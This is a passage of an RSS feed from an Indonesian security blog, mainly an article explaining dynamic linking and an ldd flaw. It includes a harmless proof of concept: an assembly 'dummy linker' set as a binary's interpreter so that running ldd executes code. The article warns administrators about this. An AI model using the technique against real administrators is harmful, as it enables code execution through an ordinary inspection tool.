<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=7P0hUdizikQ:G-x2xm0JBJA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=7P0hUdizikQ:G-x2xm0JBJA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=7P0hUdizikQ:G-x2xm0JBJA:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Exploiting LDD for Arbitrary Code Execution</title>
		<link>http://www.ilmuhacking.com/linux/exploiting-ldd-for-arbitrary-code-execution/</link>
		<comments>http://www.ilmuhacking.com/linux/exploiting-ldd-for-arbitrary-code-execution/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 09:44:56 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[compiler]]></category>
		<category><![CDATA[ldd]]></category>
		<category><![CDATA[linker]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1713</guid>
		<description><![CDATA[Hati-hati dengan program LDD, jangan sembarangan menjalankan LDD pada program executable yang tidak dikenal dan tidak dipercaya, sebab salah-salah malah anda menjalankan program tersebut dan bisa membuat komputer anda compromised. Apa itu LDD dan bagaimana cara mengexploitnya silakan disimak artikel berikut ini. Shared Library and Linking Seperti yang telah saya jelaskan dalam artikel sebelumnya tentang [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Hati-hati dengan program LDD, jangan sembarangan menjalankan LDD pada program executable yang tidak dikenal dan tidak dipercaya, sebab salah-salah malah anda menjalankan program tersebut dan bisa membuat komputer anda compromised. Apa itu LDD dan bagaimana cara mengexploitnya silakan disimak artikel berikut ini.</p>
<p style="text-align: justify;"><strong>Shared Library and Linking</strong></p>
<p style="text-align: justify;">Seperti yang telah saya jelaskan dalam artikel sebelumnya tentang <a href="http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/">belajar assembly</a>, program adalah kumpulan instruksi prosesor dalam bahasa mesin (binary). Namun yang perlu diketahui adalah tidak semua instruksi yang dibutuhkan dimasukkan (baca:dilink) dalam file executablenya.</p>
<p style="text-align: justify;">Subroutine/prosedur/fungsi yang umum tidak perlu dimasukkan ke dalam file executable, cukup disimpan dalam suatu file library yang boleh dipakai semua program yang membutuhkan. Library ini disebut dengan shared library atau shared object (so). Shared library dalam lingkungan windows dikenal dengan DLL.</p>
<p><span id="more-1713"></span></p>
<p style="text-align: justify;">Proses linking adalah proses menggabungkan library external yang dibutuhkan untuk menjalankan program. Linking bisa dilakukan satu kali saja, yaitu setelah proses compiling, atau dilakukan setiap kali menjalankan program atau at-runtime. </p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/compileandlink2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/compileandlink2.jpg" alt="compile and link" title="compile and link" width="599" height="304" class="size-full wp-image-1726" /></a></p>
<p align="justify">Pada gambar di atas terlihat proses linking yang dilakukan setelah tahap compiling. Hasil dari proses compile adalah object file yang masih memerlukan code dalam library external. Dalam tahap linking, semua code yang diperlukan dari library external di-include ke dalam file executable.</p>
<p align="justify">Berdasarkan waktu linkingnya, file executable bisa dibedakan menjadi 2:</p>
<ul>
<li><b>Statically linked: Linking once at compile time</b></li>
</ul>
<p style="text-align: justify;">Bila semua code dari library external telah diinclude ke dalam file executable, maka file tersebut bertipe statically linked executable. Executable jenis ini tidak mempunyai ketergantungan (dependency) terhadap library apapun, sehingga bersifat portable.</p>
<p style="text-align: justify;">
Kelemahan executable jenis ini adalah boros space disk dan memori. Karena semua code dari external library diinclude ke dalam executable, maka ukuran file executable menjadi besar. Begitu pula pada saat run-time, memori yang diperlukan lebih besar karena code yang harus diload ke memori sebelum dieksekusi lebih besar.
</p>
<p style="text-align: justify;">Dalam artikel sebelumnya tentang pemrograman assembly, file executable yang dihasilkan dari source assembly adalah bertipe statically linked. Hal ini bisa dilihat dengan utility bernama &#8220;file&#8221; seperti contoh di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ file ./hello
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</pre></div></div>

<p style="text-align: justify;">
Compiler gcc secara default membuat executable bertipe dynamic, sehingga untuk membuat executable statically linked perlu memakai parameter: &#8211;static seperti contoh di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc myapp.c -o myapp --static
$ file ./myapp
./myapp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, for GNU/Linux 2.6.9, not stripped</pre></div></div>

<ul>
<li><b>Dynamically linked: Linking at run-time</b></li>
</ul>
<p style="text-align: justify;">
Disebut dynamically linked karena proses linking tidak terjadi pada saat pembuatan file executable (compile time). Proses linking dilakukan secara dinamis setiap kali program akan dijalankan (at runtime).
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/dynamic-linking1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/dynamic-linking1.png" alt="dynamic linking" title="dynamic linking" width="600" height="570" class="aligncenter size-full wp-image-1740" /></a></p>
<p align="justify">
Dengan tidak meng-include library ke dalam file executable, maka ukuran file menjadi kecil. Selain itu keuntungannya adalah lebih hemat memori. Memori yang diperlukan untuk code dari library cukup satu area saja kemudian banyak proses boleh memakainya bersama-sama. Dengan cara ini code yang sama tidak perlu diduplikasi di banyak tempat. Pada gambar di atas terlihat bahwa code untuk fungsi printf(), strlen() dan malloc() cukup berada di area memori untuk library, tidak perlu diduplikasi di masing-masing proses.
</p>
<p align="justify">
Pada executable bertipe statically linked, setiap proses memiliki area memori sendiri khusus untuk code yang tidak bisa di-share (dipakai) oleh proses lain sehingga banyak terjadi duplikasi code yang mengakibatkan  pemborosan memori.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc myapp.c -o myapp_static --static
$ ls -l myapp_static
-rwxrwxr-x 1 masadmin masadmin 524172 Nov 12 15:23 myapp_static
$ gcc myapp.c -o myapp
$ ls -l myapp
-rwxrwxr-x 1 masadmin masadmin 4733 Nov 12 15:23 myapp</pre></td></tr></table></div>

<p align="justify">
Perhatikan contoh di atas, ukuran statically linked executable (myapp_static) adalah 516KB sedangkan dynamically linked (myapp) hanya 8KB. Statically linked jauh lebih besar ukurannya dibandingkan dinamically linked karena semua code dari library ikut di-include ke dalam file executable.
</p>
<p style="text-align: justify;"><strong>Dynamic Linker</strong></p>
<p align="justify">
Executable dynamically linked tidak bisa langsung dieksekusi karena membutuhkan code yang ada pada external library. Agar bisa dieksekusi diperlukan proses linking yang dilakukan sesaat sebelum eksekusi (at run-time). Linking at runtime ini dilakukan oleh program yang disebut dengan dynamic linker.
</p>
<p align="justify">
Setiap ELF executable yang dilink secara dinamis, ketika akan dieksekusi, OS akan terlebih dahulu mengeksekusi dynamic linker sebelum mengeksekusi program. Dynamic linker bertanggung jawab menyiapkan semua code library yang dibutuhkan agar program siap dieksekusi, proses ini juga dikenal dengan dependency resolving.
</p>
<p align="justify">
Setiap executable boleh menggunakan dynamic linker yang berbeda-beda. Full path lokasi dynamic linker yang dipakai suatu file disimpan dalam section &#8220;.interp&#8221; (interpreter) dalam executable. Default dynamic linker untuk Linux adalah ld-linux.so atau ld-linux.so.2. Dengan objdump, kita bisa melihat dynamic linker yang dipakai suatu file:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -j .interp -s ./myapp
&nbsp;
./myapp:     file format elf32-i386
&nbsp;
Contents of section .interp:
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 8048124 2e3200                               .2.</pre></div></div>

<p align="justify">
Dalam contoh di atas, myapp menggunakan dynamic linker &#8220;/lib/ld-linux.so.2&#8243; yaitu dynamic linker default Linux.
</p>
<blockquote><p>
Ingat bahwa dynamic linker yang digunakan tidak harus dynamic linker default dari OS, setiap executable boleh memilih memakai dynamic linker apapun.</p></blockquote>
<p style="text-align: justify;"><strong>What is LDD</strong></p>
<p style="text-align: justify;">LDD dipakai untuk melihat shared library apa saja yang dipakai oleh suatu file executable yang dilink secara dinamik. Dengan kata lain untuk menampilkan library dependency suatu executable. Untuk lebih jelasnya, kita langsung saja praktek memakai LDD.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ldd /bin/ls
        linux-gate.so.1 =&gt;  (0x00452000)
        librt.so.1 =&gt; /lib/librt.so.1 (0x005d9000)
        libacl.so.1 =&gt; /lib/libacl.so.1 (0x005c4000)
        libselinux.so.1 =&gt; /lib/libselinux.so.1 (0x00562000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x00110000)
        libpthread.so.0 =&gt; /lib/libpthread.so.0 (0x00520000)
        /lib/ld-linux.so.2 (0x003b2000)
        libattr.so.1 =&gt; /lib/libattr.so.1 (0x00646000)
        libdl.so.2 =&gt; /lib/libdl.so.2 (0x0051a000)
        libsepol.so.1 =&gt; /lib/libsepol.so.1 (0x0057c000)
$ ldd ./myapp
        linux-gate.so.1 =&gt;  (0x0059f000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)</pre></div></div>

<p style="text-align: justify;">Dalam contoh di atas terlihat library apa saja yang diperlukan oleh /bin/ls dan ./myapp. Semua library dalam daftar di atas harus tersedia sebab program akan memanggil fungsi-fungsi yang ada pada library tersebut, bila ada satu saja library yang dibutuhkan tidak tersedia, maka program tidak bisa dieksekusi.</p>
<p style="text-align: justify;"><strong>Creating Dummy Linker</strong></p>
<p align="justify">
Sekarang kita akan coba membuat executable yang tidak memakai default dynamic linker (/lib/ld-linux.so.2). Linker sebenarnya adalah program yang sangat kompleks, namun dalam contoh ini saya akan membuat dummy linker. Saya memakai program hello yang dibuat dalam assembly di <a href="http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/">artikel ini</a> sebagai dummy linker. Perhatikan source hello_ld.asm di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; write()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span>len
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span>msg
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">4</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
<span style="color: #666666; font-style: italic;">; exit(0)</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
section <span style="color: #000000; font-weight: bold;">.data</span>
msg <span style="color: #000000; font-weight: bold;">db</span> <span style="color: #7f007f;">&quot;I'm Hello Linker!&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xa</span>
len equ $ <span style="color: #339933;">-</span> msg</pre></td></tr></table></div>

<p align="justify">
Source assembly di atas adalah source program yang akan kita pakai sebagai dummy linker. Compile program di atas dengan:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf hello_ld.asm</pre></div></div>

<p align="justify">
Setelah itu akan terbentuk object file hello_ld.o. Object file itu perlu di-link dengan ld agar menjadi statically linked executable.:
</p>
<blockquote><p>Dynamic linker haruslah statically linked executable, sebab bila tidak, berarti dynamic linker juga perlu dynamic linker alias mbulet! </p></blockquote>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ld -s -o hello_ld hello_ld.o</pre></div></div>

<p align="justify">
Setelah menjadi executable, kita bisa coba jalankan:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ./hello_ld
I'm Hello Linker!</pre></div></div>

<p align="justify">
Oke, sekarang kita sudah punya dummy dynamic linker. Sekarang kita buat program sederhana yang menggunakan hello_ld sebagai dynamic linker-nya. Program ini dibuat dengan bahasa C yang sangat sederhana untuk contoh saja.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;This is My App!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Sekarang kita compile source di atas 2x untuk menunjukkan bedanya menggunakan dynamic linker default dengan dynamic linker non-default. Pertama kita compile untuk memakai dynamic linker default Linux. Tidak ada opsi yang ditambahkan pada gcc karena kita memakai default linker.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc myapp.c -o myapp_defaultld
$ objdump -j .interp -s myapp_default
myapp_defaultld:     file format elf32-i386
&nbsp;
Contents of section .interp:
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 8048124 2e3200                               .2.
&nbsp;
$ ./myapp_defaultld
This is My App!</pre></td></tr></table></div>

<p align="justify">
Sekarang kita compile source yang sama namun dengan menyebutkan dynamic linker yang akan dipakai. Opsi yang ditambahkan pada gcc adalah -Wl,&#8211;dynamic-linker seperti pada contoh di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc -Wl,--dynamic-linker,./hello_ld myapp.c -o myapp_hellold
$ objdump -j .interp -s myapp_hellold
myapp_hellold:     file format elf32-i386
&nbsp;
Contents of section .interp:
 8048114 2e2f6865 6c6c6f5f 6c6400             ./hello_ld.
$ ./myapp_hellold
I'm Hello Linker!</pre></td></tr></table></div>

<p align="justify">
Ketika myapp_hellold dijalankan yang muncul adalah &#8220;I&#8217;m Hello Linker!&#8221;, padahal dari source myapp.c seharusnya yang muncul adalah &#8220;This is My App!&#8221;. Hal ini bisa terjadi karena myapp_hellold memakai linker hello_ld (lihat isi .interp di atas). Ingat yang pertama kali dieksekusi bukan code programnya, tapi dynamic linker, jadi program hello_ld dieksekusi dulu, baru kemudian myapp_hellold akan dieksekusi.
</p>
<p align="justify">Seharusnya myapp_hellold juga dieksekusi, namun karena pada hello_ld ada instruksi exit(0) yang artinya keluar dari program (berhenti), jadi program berhenti sebelum mengeksekusi program myapp_hellold.
</p>
<p style="text-align: justify;"><strong>Force Execution using Default Linker</strong></p>
<p align="justify">
Sebelumnya sudah saya jelaskan dua contoh program: myapp_defaultld (memakai default linker), dan myapp_hellold (memakai hello_ld sebagai linker). Bila kita mengeksekusi dengan cara menyebutkan nama programnya di command prompt, maka program itu akan dieksekusi dengan linker yang ada di section &#8220;.interp&#8221;.
</p>
<p align="justify">
Namun kita bisa membuat program mengabaikan linker yang ada di .interp dan memakai default linker. Perhatikan contoh di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ ./myapp_hellold
I'm Hello Linker!
$ /lib/ld-linux.so.2 ./myapp_hellold
This is My App!</pre></td></tr></table></div>

<p align="justify">
Pada baris ke-1 kita mengeksekusi dengan cara langsung menyebutkan nama program di command prompt. Dengan cara tersebut, OS akan mengeksekusi linker yang ada di section .interp dalam file executable, baru kemudian mengeksekusi code program sehingga muncul &#8220;I&#8217;m Hello Linker!&#8221;, myapp_hellold tidak dieksekusi karena dummy linker hello_ld mengandung instruksi exit().</p>
<p align="justify">
Pada baris ke-3, kita menjalankan program dengan menyebutkan dynamic linker dan memberikan argumen berupa nama program yang akan diekekusi di command prompt. Dengan cara ini maka dynamic linker tersebutlah yang dipakai, bukan linker yang disebutkan dalam section .interp. Karena ld-linux.so.2 adalah linker beneran bukan dummy linker, maka program myapp_hellold berhasil dieksekusi dengan sempurna sehingga yang muncul adalah teks &#8220;This is My App!&#8221;.
</p>
<p><b>How LDD Works</b></p>
<p align="justify">
Sekarang kita masuk pada pembahasan mengenai LDD. LDD diapakai untuk menampilkan daftar library dependency atau library yang dibutuhkan oleh suatu executable yang dilink secara dinamis. Bagaimana cara LDD menampilkan daftar dependency library? Perhatikan contoh di bawah ini untuk memahaminya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ ldd /bin/pwd
        linux-gate.so.1 =&gt;  (0x00e88000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 /bin/pwd
        linux-gate.so.1 =&gt;  (0x00cc3000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/pwd
        linux-gate.so.1 =&gt;  (0x00a54000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)</pre></td></tr></table></div>

<p align="justify">
Pada baris ke-1 kita menggunakan program LDD untuk menampilkan library dependency. Pada baris ke-5 kita juga bisa menampilkan library dependency tanpa menggunakan program LDD. Caranya adalah dengan mengeset variabel environment LD_TRACE_LOADED_OBJECTS=1 ketika mengeksekusi /bin/pwd. Di command prompt kita bisa mengeset variabel environment sekaligus mengeksekusi program dalam satu baris seperti pada contoh di baris ke-5. Ketika environment variable tersebut diset, maka program tidak dieksekusi, dan library dependency program tersebut ditampilkan.
</p>
<p align="justify">
Pada baris ke-9 kita mengeset environment variable sekaligus mengeksekusi /bin/pwd dengan menggunakan linker /lib/ld-linux.so.2. Dengan cara ini linker yang ada di section .interp file /bin/pwd tidak dipakai (kebetulan /bin/pwd juga memakai linker /lib/ld-linux.so.2).
</p>
<p align="justify">
Dari contoh di atas terlihat bahwa LDD bekerja dengan cara mengeset variabel environment LD_TRACE_LOADED_OBJECTS=1, kemudian mengeksekusi program tersebut. Jadi sebenarnya tanpa program LDD kita juga bisa melihat library dependency suatu executable dengan cara seperti pada baris ke-5 dan baris ke-9 di atas.
</p>
<p align="justify">
Kalau diperhatikan LDD sebanarnya adalah bash script. Dalam script tersebut akan terlihat bahwa sebenarnya yang dilakukan ldd adalah mengeset environment variable LD_TRACE_LOADED_OBJECTS sebelum mengeksekusi program (jangan kaget, memang ldd mengeksekusi program itu!). Hanya itu yang dilakukan ldd, selanjutnya semua tergantung dari dynamic linker yang ada pada executable tersebut.
</p>
<p><b>Exploiting LDD for Arbitrary Code Execution</b></p>
<p align="justify">
Sampai di sini sepertinya tidak ada yang salah dengan LDD. Namun sebenarnya ada masalah serius dalam cara kerja LDD. Sekarang kita ganti contohnya executablenya bukan /bin/passwd tetapi myapp_defaultld dan myapp_hellold dan silakan perhatikan perbedaannya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ ldd ./myapp_defaultld
        linux-gate.so.1 =&gt;  (0x007f8000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ ldd ./myapp_hellold
I'm Hello Linker!</pre></td></tr></table></div>

<p align="justify">Oops, ldd tidak bekerja pada myapp_hellold. Justru sistem terancam compromised karena program dieksekusi padahal niatnya hanya ingin melihat dependencynya saja. Kita lanjutkan dengan contoh berikutnya di bawah ini.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ LD_TRACE_LOADED_OBJECTS=1 ./myapp_defaultld
        linux-gate.so.1 =&gt;  (0x00970000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x003d5000)
        /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 ./myapp_hellold
I'm Hello Linker!</pre></td></tr></table></div>

<p align="justify">Sekarang kita tidak memakai LDD, namun mengeset environment variable LD_TRACE_LOADED_OBJECTS=1 sebelum mengeksekusi program. Sekali lagi kita melihat, dependency library hanya muncul untuk program ./myapp_defaultld. Dependency ./myapp_hellold tidak muncul, malah program tersebut dieksekusi. Apa yang sebenarnya terjadi? Sebelum menjawabnya, perhatikan lagi contoh di bawah ini.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 ./myapp_hellold
        linux-gate.so.1 =&gt;  (0x004a2000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x00110000)
        ./hello_ld =&gt; /lib/ld-linux.so.2 (0x003b2000)
$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 ./myapp_defaultld
        linux-gate.so.1 =&gt;  (0x004fb000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x00110000)
        /lib/ld-linux.so.2 (0x003b2000)</pre></td></tr></table></div>

<p align="justify">Aha, kali ini kedua program tersebut berhasil dilihat dependency-nya. Kenapa kali ini bisa? Pada contoh yang terakhir ini kedua program dieksekusi dengan menggunakan dynamic linker &#8220;/lib/ld-linux.so.2&#8243; bukan linker yang ada pada masing-masing executable.</p>
<blockquote><p>Sebenarnya yang menampilkan dependency library suatu executable adalah dynamic linker, bukan ldd. Itu sebabnya mengapa myapp_hellold tidak bisa dilihat dependencynya karena memakai linker sendiri yaitu ./hello_ld (bukan default linker &#8220;/lib/ld-linux.so.2&#8243;)</p></blockquote>
<p align="justify">
Sebagai dynamic linker, ld-linux.so.2 bertanggung jawab melakukan dependency resolving dan menyiapkan program untuk dieksekusi. Setelah dynamic linker selesai dieksekusi, baru code pada program mulai dieksekusi. Namun ada satu kondisi di mana code program tidak dieksekusi, yaitu bila ada variable environment LD_TRACE_LOADED_OBJECTS. Bila ld-linux.so.2 menemukan variabel tersebut, maka program tidak diekseksui, dan ld-linux.so.2 menampilkan dependency library executable tersebut.
</p>
<blockquote><p>Kesalahan LDD adalah menganggap semua linker yang dipilih suatu executable (di section .interp file executable) bisa dipercaya. Dengan mengeset LD_TRACE_LOADED_OBJECTS sebelum mengeksekusi program, LDD berharap linker tidak mengeksekusi program tersebut.</p></blockquote>
<p align="justify">
LD_TRACE_LOADED_OBJECTS berfungsi sebagai penanda, atau rambu yang khusus dibuat agar linker tidak mengeksekusi program, namun hanya menampilkan dependency library. Namun masalahnya tidak semua linker menghormati aturan itu, attacker bisa membuat malicious linker yang tidak mempedulikan rambu LD_TRACE_LOADED_OBJECTS. Akibatnya seorang administrator/root yang berniat melihat dependency suatu executable, bisa terjebak mengeksekusi executable tersebut.
</p>
<p align="justify">
Administrator yang menggunakan ldd untuk melihat dependency list ./myapp_hellold akan terjebak karena bukannya mendapatkan dependency list, malah mengeksekusi program tersebut. Bila pada program tersebut terdapat malicious code, maka akibatnya bisa fatal sekali, terutama bila admin menggunakan ldd dengan account root.
</p>
<p>Reference: <a href="http://www.catonmat.net/blog/ldd-arbitrary-code-execution/">ldd arbitrary code execution</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=HcLURUjVjBc:hzFt6cipTlU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=HcLURUjVjBc:hzFt6cipTlU:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=HcLURUjVjBc:hzFt6cipTlU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=HcLURUjVjBc:hzFt6cipTlU:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/linux/exploiting-ldd-for-arbitrary-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
